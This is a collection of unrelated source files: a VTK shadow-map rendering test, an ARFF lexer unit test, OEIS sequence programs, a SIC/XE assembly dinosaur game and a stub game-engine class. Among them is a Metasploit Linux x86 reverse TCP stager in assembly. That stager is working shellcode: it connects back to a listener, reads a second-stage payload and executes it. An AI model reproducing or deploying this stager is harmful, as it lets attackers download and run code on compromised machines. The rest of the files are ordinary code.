boxNormals->SetComputePointNormals(0); boxNormals->SetComputeCellNormals(1); boxNormals->Update(); boxNormals->GetOutput()->GetPointData()->SetNormals(0); vtkPolyDataMapper *boxMapper=vtkPolyDataMapper::New(); boxMapper->SetInputConnection(boxNormals->GetOutputPort()); boxNormals->Delete(); boxSource->Delete(); boxMapper->SetScalarVisibility(0); vtkActor *boxActor=vtkActor::New(); vtkInformation *boxKeyProperties=vtkInformation::New(); boxKeyProperties->Set(vtkShadowMapBakerPass::OCCLUDER(),0); // dummy val. boxKeyProperties->Set(vtkShadowMapBakerPass::RECEIVER(),0); // dummy val. boxActor->SetPropertyKeys(boxKeyProperties); boxKeyProperties->Delete(); boxActor->SetMapper(boxMapper); boxMapper->Delete(); boxActor->SetVisibility(1); boxActor->SetPosition(-2.0,2.0,0.0); boxActor->GetProperty()->SetColor(1.0,0.0,0.0); vtkConeSource *coneSource=vtkConeSource::New(); coneSource->SetResolution(24); coneSource->SetDirection(1.0,1.0,1.0); vtkPolyDataMapper *coneMapper=vtkPolyDataMapper::New(); coneMapper->SetInputConnection(coneSource->GetOutputPort()); coneSource->Delete(); coneMapper->SetScalarVisibility(0); vtkActor *coneActor=vtkActor::New(); vtkInformation *coneKeyProperties=vtkInformation::New(); coneKeyProperties->Set(vtkShadowMapBakerPass::OCCLUDER(),0); // dummy val. coneKeyProperties->Set(vtkShadowMapBakerPass::RECEIVER(),0); // dummy val. coneActor->SetPropertyKeys(coneKeyProperties); coneKeyProperties->Delete(); coneActor->SetMapper(coneMapper); coneMapper->Delete(); coneActor->SetVisibility(1); coneActor->SetPosition(0.0,1.0,1.0); coneActor->GetProperty()->SetColor(0.0,0.0,1.0); // coneActor->GetProperty()->SetLighting(false); vtkSphereSource *sphereSource=vtkSphereSource::New(); sphereSource->SetThetaResolution(32); sphereSource->SetPhiResolution(32); vtkPolyDataMapper *sphereMapper=vtkPolyDataMapper::New(); sphereMapper->SetInputConnection(sphereSource->GetOutputPort()); sphereSource->Delete(); sphereMapper->SetScalarVisibility(0); vtkActor *sphereActor=vtkActor::New(); vtkInformation *sphereKeyProperties=vtkInformation::New(); sphereKeyProperties->Set(vtkShadowMapBakerPass::OCCLUDER(),0); // dummy val. sphereKeyProperties->Set(vtkShadowMapBakerPass::RECEIVER(),0); // dummy val. sphereActor->SetPropertyKeys(sphereKeyProperties); sphereKeyProperties->Delete(); sphereActor->SetMapper(sphereMapper); sphereMapper->Delete(); sphereActor->SetVisibility(1); sphereActor->SetPosition(2.0,2.0,-1.0); sphereActor->GetProperty()->SetColor(1.0,1.0,0.0); renderer->AddViewProp(rectangleActor); rectangleActor->Delete(); renderer->AddViewProp(boxActor); boxActor->Delete(); renderer->AddViewProp(coneActor); coneActor->Delete(); renderer->AddViewProp(sphereActor); sphereActor->Delete(); // Spotlights. // lighting the box. vtkLight *l1=vtkLight::New(); l1->SetPosition(-4.0,4.0,-1.0); l1->SetFocalPoint(boxActor->GetPosition()); l1->SetColor(1.0,1.0,1.0); l1->SetPositional(1); renderer->AddLight(l1); l1->SetSwitch(1); l1->Delete(); // lighting the sphere vtkLight *l2=vtkLight::New(); l2->SetPosition(4.0,5.0,1.0); l2->SetFocalPoint(sphereActor->GetPosition()); l2->SetColor(1.0,0.0,1.0); // l2->SetColor(1.0,1.0,1.0); l2->SetPositional(1); renderer->AddLight(l2); l2->SetSwitch(1); l2->Delete(); AddLightActors(renderer); renderer->SetBackground(0.66,0.66,0.66); renderer->SetBackground2(157.0/255.0*0.66,186/255.0*0.66,192.0/255.0*0.66); renderer->SetGradientBackground(true); renWin->SetSize(400,400); // 400,400 renWin->SetPosition(0, 460*me); // translate the window prm->SetRenderWindow(renWin); prm->SetController(this->Controller); // Tell the pipeline which piece we want to update. sphereMapper->SetNumberOfPieces( numProcs); sphereMapper->SetPiece(me); coneMapper->SetNumberOfPieces( numProcs); coneMapper->SetPiece(me); rectangleMapper->SetNumberOfPieces( numProcs); rectangleMapper->SetPiece(me); boxMapper->SetNumberOfPieces( numProcs); boxMapper->SetPiece(me); int retVal; const int MY_RETURN_VALUE_MESSAGE=0x518113; if(me>0) { // satellite nodes prm->StartServices(); // start listening other processes (blocking call). // receive return value from root process. this->Controller->Receive(&retVal, 1, 0, MY_RETURN_VALUE_MESSAGE); } else { // root node renWin->Render(); if(peeling->GetLastRenderingUsedDepthPeeling()) { cout<<"depth peeling was used"<<endl; } else { cout<<"depth peeling was not used (alpha blending instead)"<<endl; } renderer->ResetCamera(); vtkCamera *camera=renderer->GetActiveCamera(); camera->Azimuth(40.0); camera->Elevation(10.0); if(compositeZPass->IsSupported( static_cast<vtkOpenGLRenderWindow *>(renWin))) { retVal=vtkTesting::Test(this->Argc, this->Argv, renWin, 10); } else { retVal=vtkTesting::PASSED; // not supported. } if(retVal==vtkRegressionTester::DO_INTERACTOR) { renWin->Render(); iren->Start(); } prm->StopServices(); // tells satellites to stop listening. // send the return value to the satellites int i=1; while(i<numProcs) { this->Controller->Send(&retVal, 1, i, MY_RETURN_VALUE_MESSAGE); ++i; } iren->Delete(); } renWin->Delete(); opaqueCameraPass->Delete(); opaqueSequence->Delete(); passes2->Delete(); shadows->Delete(); opaque->Delete(); peeling->Delete(); translucent->Delete(); volume->Delete(); overlay->Delete(); seq->Delete(); passes->Delete(); cameraP->Delete(); lights->Delete(); prm->Delete(); shadowsBaker->Delete(); this->ReturnValue=retVal; } // DUPLICATE for VTK/Rendering/Testing/Cxx/TestLightActor.cxx // For each spotlight, add a light frustum wireframe representation and a cone // wireframe representation, colored with the light color. void AddLightActors(vtkRenderer *r) { assert("pre: r_exists" && r!=0); vtkLightCollection *lights=r->GetLights(); lights->InitTraversal(); vtkLight *l=lights->GetNextItem(); while(l!=0) { double angle=l->GetConeAngle(); if(l->LightTypeIsSceneLight() && l->GetPositional() && angle<180.0) // spotlight { vtkLightActor *la=vtkLightActor::New(); la->SetLight(l); r->AddViewProp(la); la->Delete(); } l=lights->GetNextItem(); } } } int TestDistributedDataShadowMapPass(int argc, char *argv[]) { // This is here to avoid false leak messages from vtkDebugLeaks when // using mpich. It appears that the root process which spawns all the // main processes waits in MPI_Init() and calls exit() when // the others are done, causing apparent memory leaks for any objects // created before MPI_Init(). MPI_Init(&argc, &argv); // Note that this will create a vtkMPIController if MPI // is configured, vtkThreadedController otherwise. vtkMPIController *contr = vtkMPIController::New(); contr->Initialize(&argc, &argv, 1); int retVal = 1; //1==failed vtkMultiProcessController::SetGlobalController(contr); int numProcs = contr->GetNumberOfProcesses(); int me = contr->GetLocalProcessId(); if(numProcs!=2) { if (me == 0) { cout << "DistributedData test requires 2 processes" << endl; } contr->Delete(); return retVal; } if (!contr->IsA("vtkMPIController")) { if (me == 0) { cout << "DistributedData test requires MPI" << endl; } contr->Delete(); return retVal; } MyProcess *p=MyProcess::New(); p->SetArgs(argc,argv); contr->SetSingleProcessObject(p); contr->SingleMethodExecute(); retVal=p->GetReturnValue(); p->Delete(); contr->Finalize(); contr->Delete(); return !retVal; }
#include <gtest/gtest.h> #include <cslibs_arff/arff_lexer.h> using namespace cslibs_arff; #define TEST_ARFF(lex, e, s) \ { \ ArffToken tok = lex.next_token(); \ EXPECT_EQ(e, tok.token_enum()); \ EXPECT_EQ(s, tok.token_str()); \ } TEST(arff_lexer, usage1) { ArffLexer lex("cases/case1.arff"); TEST_ARFF(lex, VALUE_TOKEN, "abcdefghijklmnopqrstuvwxyz"); TEST_ARFF(lex, VALUE_TOKEN, "ABCDEFGHIJKLMNOPQRSTUVWXYZ"); TEST_ARFF(lex, END_OF_FILE, ""); } TEST(arff_lexer, usage2) { ArffLexer lex("cases/case2.arff"); TEST_ARFF(lex, RELATION, "@relation"); TEST_ARFF(lex, VALUE_TOKEN, "name"); TEST_ARFF(lex, VALUE_TOKEN, "simple"); TEST_ARFF(lex, VALUE_TOKEN, "tokens"); TEST_ARFF(lex, VALUE_TOKEN, "are'nt present"); TEST_ARFF(lex, VALUE_TOKEN, "lots"); TEST_ARFF(lex, VALUE_TOKEN, "of"); TEST_ARFF(lex, VALUE_TOKEN, "csv"); TEST_ARFF(lex, VALUE_TOKEN, "data!"); TEST_ARFF(lex, END_OF_FILE, ""); } #undef TEST_ARFF
; A001571: a(0) = 0, a(1) = 2, a(n) = 4*a(n-1) - a(n-2) + 1. ; 0,2,9,35,132,494,1845,6887,25704,95930,358017,1336139,4986540,18610022,69453549,259204175,967363152,3610248434,13473630585,50284273907,187663465044,700369586270,2613814880037,9754889933879,36405744855480,135868089488042,507066613096689,1892398362898715,7062526838498172,26357708991093974,98368309125877725,367115527512416927,1370093800923789984,5113259676182743010,19082944903807182057,71218519939045985219,265791134852376758820,991946019470461050062,3701992943029467441429,13816025752647408715655 lpb $0 sub $0,1 add $1,1 add $2,$1 add $1,$2 add $2,$1 lpe mov $0,$1
; A077139: a(1) = 1, a(n) = lcm(n, a(n-1)) / gcd(n, a(n-1)). ; Submitted by Christian Krause ; 1,2,6,6,30,5,35,280,2520,252,2772,231,3003,858,1430,5720,97240,437580,8314020,415701,969969,176358,4056234,2704156,67603900,2600150,70204050,10029150,290845350,9694845,300540195,9617286240,35263382880,1037158320 mov $1,1 mov $2,1 mov $4,1 mov $5,2 lpb $0 mov $3,$2 add $2,1 lpb $3 mov $4,$1 gcd $4,$2 div $1,$4 mov $3,$5 lpe sub $0,1 mul $1,$2 div $1,$4 lpe mov $0,$1
;; ; ; Name: stager_sock_reverse ; Qualities: Can Have Nulls ; Version: $Revision: 1512 $ ; License: ; ; This file is part of the Metasploit Exploit Framework ; and is subject to the same licenses and copyrights as ; the rest of this package. ; ; Description: ; ; Implementation of a Linux reverse TCP stager. ; ; File descriptor in edi. ; ; Meta-Information: ; ; meta-shortname=Linux Reverse TCP Stager ; meta-description=Connect back to the framework and run a second stage ; meta-authors=skape <mmiller [at] hick.org> ; meta-os=linux ; meta-arch=ia32 ; meta-category=stager ; meta-connection-type=reverse ; meta-name=reverse_tcp ; meta-basemod=Msf::PayloadComponent::ReverseConnection ; meta-offset-lhost=0x11 ; meta-offset-lport=0x17 ;; BITS 32 GLOBAL _start _start: xor ebx, ebx socket: push ebx inc ebx push ebx push byte 0x2 push byte 0x66 pop eax mov ecx, esp int 0x80 xchg eax, edi connect: pop ebx push dword 0x0100007f ; ip: 127.0.0.1 push word 0xbfbf ; port: 49087 push bx mov ecx, esp push byte 0x66 pop eax push eax push ecx push edi mov ecx, esp inc ebx int 0x80 %ifndef USE_SINGLE_STAGE recv: pop ebx cdq mov dh, 0xc mov al, 0x3 int 0x80 jmp ecx %endif
dino START 0 . TEXT MAIN_ENTRY ............ INITIALIZE STACK ............ JSUB stackinit ............................................. ............ INIT PLAYER VARIABLES ............. LDA #30 FLOAT STF playerX LDA #CONST_FLOOR_POS_Y FLOAT STF playerY LDA #1 FLOAT DIVF #20 STF constPlayerGravityAy ........................................... ............ START GAME LOOP ............. J gameLoop ............ START GAME LOOP ............. gameLoop JSUB handleInput JSUB updateGamestate JSUB render ...... Lock rendering to VSYNC. Wait for VSYNC_ADDR (byte) to be 1 (Framebuffer is not being rendered) gameLoopVsyncWait +LDCH GRAPHICAL_SCREEN_VSYNC_ADDR COMP #0 JEQ gameLoopVsyncWait LDA #0 +STCH GRAPHICAL_SCREEN_VSYNC_ADDR . Clear to 0, so we can check for next VSYNC ........................................................................................................... JSUB memcpyFramebuffer J gameLoop ................ MEMCPY FRAMEBUFFER .............. memcpyFramebuffer . store L reg STL @stackptr JSUB stackpush . store X reg STX @stackptr JSUB stackpush . store A reg STA @stackptr JSUB stackpush . store B reg STB @stackptr JSUB stackpush . Optimizations - UNROLL LOOP - 32 pixels per loop (less jumps), 2 * (3byte)word access (LDF) (6 pixels at once). . LDA contains address increment amount LDX #0 LDL #30 . 5 * 6 - 1 (last 2 increments are TIX) ........... LOOP ............ memcpyFramebufferLoop +LDF CONST_6_UNROLL_SFBADDR_0,X +STF CONST_6_UNROLL_GFBADDR_0,X +LDF CONST_6_UNROLL_SFBADDR_1,X +STF CONST_6_UNROLL_GFBADDR_1,X +LDF CONST_6_UNROLL_SFBADDR_2,X +STF CONST_6_UNROLL_GFBADDR_2,X +LDF CONST_6_UNROLL_SFBADDR_3,X +STF CONST_6_UNROLL_GFBADDR_3,X +LDF CONST_6_UNROLL_SFBADDR_4,X +STF CONST_6_UNROLL_GFBADDR_4,X ADDR L,X +LDCH CONST_6_UNROLL_SFBADDR_0,X +STCH CONST_6_UNROLL_GFBADDR_0,X +TIX #GRAPHICAL_SCREEN_SIZE +LDCH CONST_6_UNROLL_SFBADDR_0,X +STCH CONST_6_UNROLL_GFBADDR_0,X +TIX #GRAPHICAL_SCREEN_SIZE JLT memcpyFramebufferLoop ............. END LOOP ............. . restore B reg JSUB stackpop LDB @stackptr . restore A reg JSUB stackpop LDA @stackptr . restore X reg JSUB stackpop LDX @stackptr . pop L reg JSUB stackpop LDL @stackptr RSUB ................ END MEMCPY FRAMEBUFFER .............. ................ HANDLE INPUT .............. keyboardLastPressedKey WORD 0 handleInput . store L reg STL @stackptr JSUB stackpush JSUB keyboardRead STA keyboardLastPressedKey . if space is pressed -> playerDy = -1 (negative direction = up on screen) COMP #32 JLT handleInputHopSpaceKey JGT handleInputHopSpaceKey LDF playerY FIX COMP #CONST_FLOOR_POS_Y JLT handleInputHopSpaceKey LDA #0 SUB #17 FLOAT DIVF #10 STF playerDy handleInputHopSpaceKey . if left key is pressed -> playerX -= 2 LDA keyboardLastPressedKey COMP #65 JLT handleInputHopLeftKey JGT handleInputHopLeftKey LDF playerX SUBF #2 STF playerX handleInputHopLeftKey . if right key is pressed -> playerX += 2 LDA keyboardLastPressedKey COMP #68 JLT handleInputHopRightKey JGT handleInputHopRightKey LDA #2 FLOAT ADDF playerX STF playerX handleInputHopRightKey . pop L reg JSUB stackpop LDL @stackptr RSUB ................ END HANDLE INPUT .............. ......................................... ................ UPDATE GAMESTATE ROUTINE .............. pointerCactusTableX WORD 0 pointerCactusTableY WORD 0 pointerCactusTableZ WORD 0 boolSpawnNewCactus WORD 0 updateGamestate . store L reg STL @stackptr JSUB stackpush . increment physics LDF playerDy ADDF constPlayerGravityAy STF playerDy ADDF playerY STF playerY . check floor for player LDF playerY FIX COMP #CONST_FLOOR_POS_Y JLT updateGamestateHopCheckFloor LDA #CONST_FLOOR_POS_Y FLOAT STF playerY LDA #0 FLOAT STF playerDy updateGamestateHopCheckFloor ......... Cacti FOR loop .................................. ..... INIT pointers LDA #cactusTable STA pointerCactusTableX ADD #3 STA pointerCactusTableY ADD #3 STA pointerCactusTableZ . check if random generates new cactus . threshold < 10'000 (average 5 sec random) LDA prngPrevState JSUB generatePseudoRandomNumber STA prngPrevState COMP constCactusSpawnThreshold CLEAR S JGT updateGamestateCactusHopSpawn LDS #1 updateGamestateCactusHopSpawn STS boolSpawnNewCactus .. init ticker CLEAR X updateGamestateCactusLoop . { . check if empty cactus spot LDB @pointerCactusTableZ LDA #1 SUBR B,A AND boolSpawnNewCactus COMP #1 JLT updateGamestateCactusIfNotEmpty . if (empty spot && boolSpawnNewCactus) . add new cactus LDA #constCactusStartX STA @pointerCactusTableX LDA #constCactusStartY STA @pointerCactusTableY LDA #1 STA @pointerCactusTableZ LDA numCactus ADD #1 STA numCactus LDA #0 STA boolSpawnNewCactus J updateGamestateCactusLoopContinue updateGamestateCactusIfNotEmpty . if(!empty spot) LDA @pointerCactusTableZ COMP #1 JEQ updateGamestateCactusHandleCactus J updateGamestateCactusLoopContinue updateGamestateCactusHandleCactus . move cactus <- X direction LDA @pointerCactusTableX ADD constCactusHorizontalSpeed STA @pointerCactusTableX . check if cactus out of BB COMP #0 JGT updateGamestateCactusSkipOutOfBB . ! Cactus out of BB, remove LDA #0 STA @pointerCactusTableX STA @pointerCactusTableY STA @pointerCactusTableZ LDA numCactus SUB #1 STA numCactus updateGamestateCactusSkipOutOfBB . check if collisionWithPlayer LDA @pointerCactusTableX LDB @pointerCactusTableY JSUB checkCollisionBetweenCactusAndPlayer COMP #0 JEQ updateGamestateCactusSkipEndOfGame . END OF GAME . TODO J halt updateGamestateCactusSkipEndOfGame LDA #0 .}.................................... .......................... } loop updateGamestateCactusLoopContinue LDB constCactusEntrySize LDA pointerCactusTableX ADDR B,A STA pointerCactusTableX LDA pointerCactusTableY ADDR B,A STA pointerCactusTableY LDA pointerCactusTableZ ADDR B,A STA pointerCactusTableZ TIX constCactusTableMax JLT updateGamestateCactusLoop ...............END OF CACTI FOR LOOP......................... . pop L reg JSUB stackpop LDL @stackptr RSUB ................ END OF UPDATE GAMESTATE ROUTINE .............. ..........START OF RENDER SUBROUTINE........................... render . store L reg STL @stackptr JSUB stackpush . clear screen LDA #0x00 JSUB clearScreen ......... Cacti FOR loop ....... ..... INIT pointers LDA #cactusTable STA pointerCactusTableX ADD #3 STA pointerCactusTableY ADD #3 STA pointerCactusTableZ LDS #spriteCactusStructure .. init ticker CLEAR X renderCactusLoop . { . check if empty cactus spot LDA @pointerCactusTableZ COMP #0 JEQ renderCactusLoopContinue . if(!empty spot) LDA @pointerCactusTableX LDB @pointerCactusTableY JSUB drawSprite .}.................................... .......................... } loop renderCactusLoopContinue LDB constCactusEntrySize LDA pointerCactusTableX ADDR B,A STA pointerCactusTableX LDA pointerCactusTableY ADDR B,A STA pointerCactusTableY LDA pointerCactusTableZ ADDR B,A STA pointerCactusTableZ TIX constCactusTableMax JLT renderCactusLoop ...............END OF CACTI FOR LOOP......................... ..................RENDER PLAYER DINO.................. LDF playerY FIX RMO A,B LDF playerX FIX LDS #spriteDinoStructure JSUB drawSprite ..................END OF RENDER PLAYER DINO.................. . pop L reg JSUB stackpop LDL @stackptr RSUB ......................END OF RENDER SUBROUTINE................ ................ COLLISION CHECK ROUTINE .............. collisionTmpPx WORD 0 collisionTmpPxWidth WORD 0 collisionTmpCx WORD 0 collisionTmpCxWidth WORD 0 collisionTmpPy WORD 0 collisionTmpPyHeight WORD 0 collisionTmpCy WORD 0 collisionTmpCyHeight WORD 0 . (A=x, B=y) return (collision A = 1 else A = 0) checkCollisionBetweenCactusAndPlayer . store L reg STL @stackptr JSUB stackpush . store B reg STB @stackptr JSUB stackpush . store X reg STX @stackptr JSUB stackpush . store S reg STS @stackptr JSUB stackpush . store T reg STT @stackptr JSUB stackpush STA collisionTmpCx STB collisionTmpCy ADD spriteCactusStructure . cactus width STA collisionTmpCxWidth LDX #3 RMO B,A ADD spriteCactusStructure,X . cactus height STA collisionTmpCyHeight LDF playerX FIX STA collisionTmpPx ADD #12 . dino width (custom BoundingBox) STA collisionTmpPxWidth LDF playerY FIX STA collisionTmpPy .ADD spriteDinoStructure,X . dino height ADD #12 . dino height (custom BoundingBox) STA collisionTmpPyHeight . comparisons . (px < cx + width) LDA collisionTmpPx COMP collisionTmpCxWidth JGT checkCollisionBetweenCactusAndPlayerOut . (px + width > cx) LDA collisionTmpPxWidth COMP collisionTmpCx JLT checkCollisionBetweenCactusAndPlayerOut . (py < cy + width) LDA collisionTmpPy COMP collisionTmpCyHeight JGT checkCollisionBetweenCactusAndPlayerOut . (py + height < cy) LDA collisionTmpPyHeight COMP collisionTmpCy JLT checkCollisionBetweenCactusAndPlayerOut . TRUE LDA #1 J checkCollisionBetweenCactusAndPlayerTrue checkCollisionBetweenCactusAndPlayerOut LDA #0 checkCollisionBetweenCactusAndPlayerTrue . pop T reg JSUB stackpop LDT @stackptr . pop S reg JSUB stackpop LDS @stackptr .pop X reg JSUB stackpop LDX @stackptr . pop B reg JSUB stackpop LDB @stackptr . pop L reg JSUB stackpop LDL @stackptr RSUB ................ END OF COLLISION CHECK ROUTINE .............. ................ PSEUDO RANDOM NUMBER GENERATOR ROUTINE .............. prngPrevState WORD 72859 . seed .prngPrevState WORD 10 . seed prngMulValue WORD 16807 prngModValue WORD 991483 prngAndValue WORD 0xFFFFF generatePseudoRandomNumber . store L reg STL @stackptr JSUB stackpush . store B reg STB @stackptr JSUB stackpush . state * 16807 % 991483; .MUL prngMulValue .RMO A,B .DIV prngModValue .MUL prngModValue .SUBR A,B .RMO B,A MUL prngMulValue AND prngAndValue . pop B reg JSUB stackpop LDB @stackptr . pop L reg JSUB stackpop LDL @stackptr RSUB ................ END OF PSEUDO RANDOM NUMBER GENERATOR ROUTINE .............. ................ KEYBOARD READ ROUTINE .............. keyboardReadTmp WORD 0 keyboardRead +LDCH KEYBOARD_ADDR STCH keyboardReadTmp CLEAR A +STCH KEYBOARD_ADDR LDCH keyboardReadTmp RSUB ................ END OF KEYBOARD READ ROUTINE .............. ................ DRAW SPRITE ROUTINE .............. . drawSprite(A=x, B=y, S=spriteStructure) drawSprite . store L reg STL @stackptr JSUB stackpush . store A reg STA @stackptr JSUB stackpush . store B reg STB @stackptr JSUB stackpush . store X reg STX @stackptr JSUB stackpush . store S reg STS @stackptr JSUB stackpush . store T reg STT @stackptr JSUB stackpush LDT #3 STS spriteStructureWidthPointer ADDR T,S STS spriteStructureHeightPointer ADDR T,S STS spriteStructureSizePointer ADDR T,S STS spriteStructureDataPointer RMO A,X RMO B,A MUL #GRAPHICAL_SCREEN_STRIDE_BYTES ADDR A,X drawSpriteOuterLoop . { CLEAR S drawSpriteInnerLoop . { CLEAR A +LDCH @spriteStructureDataPointer COMP colorTransparent JEQ drawSpriteHopColor +STCH GRAPHICAL_SCREEN_DRAWING_BUFFER_ADDR,X drawSpriteHopColor LDA spriteStructureDataPointer ADD #1 STA spriteStructureDataPointer TIX #0 LDA #1 ADDR S,A RMO A,S COMP @spriteStructureWidthPointer JLT drawSpriteInnerLoop . } SUB #GRAPHICAL_SCREEN_STRIDE_BYTES SUBR A,X LDA spriteStructureSizePointer ADD @spriteStructureSizePointer ADD #3 COMP spriteStructureDataPointer JEQ drawSpriteHop J drawSpriteOuterLoop . } drawSpriteHop . pop T reg JSUB stackpop LDT @stackptr . pop S reg JSUB stackpop LDS @stackptr .pop X reg JSUB stackpop LDX @stackptr .pop B reg JSUB stackpop LDB @stackptr .pop A reg JSUB stackpop LDA @stackptr . pop L reg JSUB stackpop LDL @stackptr RSUB ................ END OF DRAW SPRITE ROUTINE .............. ................ CLEAR (FILL) SCREEN ROUTINE .............. . clearScreen (. A=color) clearScreen . store L reg STL @stackptr JSUB stackpush . store A reg STA @stackptr JSUB stackpush . store X reg STX @stackptr JSUB stackpush . Optimizations : Loop unroll, 6 pixel access . Clear first 6 pixel with selected color, then read to F register for following stores +LDX #GRAPHICAL_SCREEN_DRAWING_BUFFER_ADDR STCH 0,X STCH 1,X STCH 2,X STCH 3,X STCH 4,X STCH 5,X . Load 6 pixels of color "A" to F reg LDF 0,X LDL #31 clearScreenLoop STF 0,X STF 6,X STF 12,X STF 18,X STF 24,X STCH 30,X STCH 31,X ADDR L,X +TIX #GRAPHICAL_SCREEN_DRAWING_BUFFER_ADDR_END JLT clearScreenLoop .pop X reg JSUB stackpop LDX @stackptr .pop A reg JSUB stackpop LDA @stackptr . pop L reg JSUB stackpop LDL @stackptr RSUB ................ END OF CLEAR (FILL) SCREEN ROUTINE .............. ................ DELAY (ms) ROUTINE .............. . (A = miliseconds) delayMilisecondsTmpVar WORD 0 delayMiliseconds . store X reg STX delayMilisecondsTmpVar MUL #PROCESSORTICKSMS CLEAR X delayMilisecondsLoop TIXR A JLT delayMilisecondsLoop LDX delayMilisecondsTmpVar RSUB ................ END OF DELAY (ms) ROUTINE .............. ................ STACK ROUTINEs .............. regA WORD 0 CONST_WORD_INCREMENT EQU 3 stackinit LDA #stack STA stackptr RSUB stackpush STA regA LDA stackptr ADD #CONST_WORD_INCREMENT STA stackptr LDA regA RSUB stackpop STA regA LDA stackptr SUB #CONST_WORD_INCREMENT STA stackptr LDA regA RSUB ................ STACK ROUTINEs .............. . HALT halt J halt ............ Variables and constants -> ......................................... ................................................................................. ................ PROCESSOR FREQUENCY (important for delays) .................... PROCESSORFREQUENCY EQU 15000000 PROCESSORTICKSMS EQU PROCESSORFREQUENCY / 2000 ............................................................................... ........... SCREEN DIMS: W=128, H=64, PixelSize=6 .................. GRAPHICAL_SCREEN_STRIDE_BYTES EQU 128 GRAPHICAL_SCREEN_ADDR EQU 0xA000 GRAPHICAL_SCREEN_WIDTH EQU 128 GRAPHICAL_SCREEN_HEIGHT EQU 64 GRAPHICAL_SCREEN_SIZE EQU GRAPHICAL_SCREEN_WIDTH * GRAPHICAL_SCREEN_HEIGHT GRAPHICAL_SCREEN_VSYNC_ADDR EQU GRAPHICAL_SCREEN_ADDR + GRAPHICAL_SCREEN_SIZE GRAPHICAL_SCREEN_SCRATCH_FRAMEBUFFER_ADDR EQU 0x8000 GRAPHICAL_SCREEN_SCRATCH_FRAMEBUFFER_ADDR_END EQU GRAPHICAL_SCREEN_SCRATCH_FRAMEBUFFER_ADDR + GRAPHICAL_SCREEN_SIZE GRAPHICAL_SCREEN_DRAWING_BUFFER_ADDR EQU GRAPHICAL_SCREEN_SCRATCH_FRAMEBUFFER_ADDR GRAPHICAL_SCREEN_DRAWING_BUFFER_ADDR_END EQU GRAPHICAL_SCREEN_SCRATCH_FRAMEBUFFER_ADDR + GRAPHICAL_SCREEN_SIZE ................................................................................. ................................................................................. .. UNROLL CONSTANTS ................................................................................. CONST_6_UNROLL_SFBADDR_0 EQU GRAPHICAL_SCREEN_DRAWING_BUFFER_ADDR + 0 CONST_6_UNROLL_SFBADDR_1 EQU GRAPHICAL_SCREEN_DRAWING_BUFFER_ADDR + 6 CONST_6_UNROLL_SFBADDR_2 EQU GRAPHICAL_SCREEN_DRAWING_BUFFER_ADDR + 12 CONST_6_UNROLL_SFBADDR_3 EQU GRAPHICAL_SCREEN_DRAWING_BUFFER_ADDR + 18 CONST_6_UNROLL_SFBADDR_4 EQU GRAPHICAL_SCREEN_DRAWING_BUFFER_ADDR + 24 CONST_6_UNROLL_SFBADDR_5 EQU GRAPHICAL_SCREEN_DRAWING_BUFFER_ADDR + 30 CONST_6_UNROLL_SFBADDR_6 EQU GRAPHICAL_SCREEN_DRAWING_BUFFER_ADDR + 36 CONST_6_UNROLL_SFBADDR_7 EQU GRAPHICAL_SCREEN_DRAWING_BUFFER_ADDR + 42 CONST_6_UNROLL_GFBADDR_0 EQU GRAPHICAL_SCREEN_ADDR + 0 CONST_6_UNROLL_GFBADDR_1 EQU GRAPHICAL_SCREEN_ADDR + 6 CONST_6_UNROLL_GFBADDR_2 EQU GRAPHICAL_SCREEN_ADDR + 12 CONST_6_UNROLL_GFBADDR_3 EQU GRAPHICAL_SCREEN_ADDR + 18 CONST_6_UNROLL_GFBADDR_4 EQU GRAPHICAL_SCREEN_ADDR + 24 CONST_6_UNROLL_GFBADDR_5 EQU GRAPHICAL_SCREEN_ADDR + 30 CONST_6_UNROLL_GFBADDR_6 EQU GRAPHICAL_SCREEN_ADDR + 36 CONST_6_UNROLL_GFBADDR_7 EQU GRAPHICAL_SCREEN_ADDR + 42 ................................................................................. . KEYBOARD KEYBOARD_ADDR EQU 0xD000 . GAME CONSTANTs CONST_FLOOR_POS_Y EQU 32 . CACTUS TABLE (3 max, word x, word y, word z) constCactusStartX EQU 112 constCactusStartY EQU 35 constCactusSpawnThreshold WORD 10000 constCactusHorizontalSpeed WORD -1 constCactusTableMax WORD 3 constCactusEntrySize WORD 9 numCactus WORD 0 cactusTable RESW 27 . Player constPlayerGravityAy RESW 2 playerX RESW 2 playerY RESW 2 playerDy RESW 2 . Sprite table (10 sprites, word x, word y, word z, word spriteStructure) . 5-Z depths constSpriteMaxZDepth WORD 5 constSpriteEntrySize WORD 12 spriteTableLength WORD 0 spriteTable RESW 40 spriteStructureWidthPointer WORD 0 spriteStructureHeightPointer WORD 0 spriteStructureSizePointer WORD 0 spriteStructureDataPointer WORD 0 spriteDinoStructure WORD 18 . width WORD 19 . height WORD 342 . size BYTE C'0000000000~~~~~~~0' BYTE C'000000000~~0~~~~~~' BYTE C'000000000~~~~~~~~~' BYTE C'000000000~~~~~~~~~' BYTE C'000000000~~~~~~~~~' BYTE C'000000000~~~~00000' BYTE C'000000000~~~~~~~~0' BYTE C'~0000000~~~~~00000' BYTE C'~~000~~~~~~~~00000' BYTE C'~~~00~~~~~~~~~0000' BYTE C'~~~~~~~~~~~~~00000' BYTE C'~~~~~~~~~~~~~00000' BYTE C'0~~~~~~~~~~~000000' BYTE C'0000~~~~~~~0000000' BYTE C'0000~~~~~~00000000' BYTE C'0000~~~0~~00000000' BYTE C'0000~~000~00000000' BYTE C'0000~0000~00000000' BYTE C'0000~~000~~0000000' spriteCactusStructure WORD 16 . width WORD 16 . height WORD 256 . size BYTE X'30303030303030303030303030303030' BYTE X'30303030303030303030303030303030' BYTE X'30303030303030303030303030303030' BYTE X'30303030303030CCCC30303030303030' BYTE X'3030303030CCCCCCCCCC3030CC303030' BYTE X'3030CC30CCCCCCCCCCCC30CCCC303030' BYTE X'3030CCCCCCCCCCCCCCCCCCCC30303030' BYTE X'303030CCCCCCCCCCCCCCCC3030303030' BYTE X'3030303030CCCCCCCCCCCC3030303030' BYTE X'30303030CCCCCCCCCCCCCC3030303030' BYTE X'303030CCCCCCCCCCCCCCCC30CC303030' BYTE X'303030CCCCCCCCCCCCCCCCCCCC303030' BYTE X'30303030CCCCCCCCCCCCCCCC30303030' BYTE X'30303030CCCCCCCCCCCCCC3030303030' BYTE X'3030303030CCCCCCCCCCCC3030303030' BYTE X'3030303030CCCCCCCCCCCC3030303030' colorWhite WORD 0xFF colorBlack WORD 0x00 colorGreen WORD 0xCC colorGrey WORD 0x7E . Color 0x30 == transparent colorTransparent WORD 0x30 stackptr WORD 0 stack RESW 100 END MAIN_ENTRY
#include "Application.h" namespace Hazel { Application::Application() { } Application::~Application() { } void Application::Run() { while (true); } }
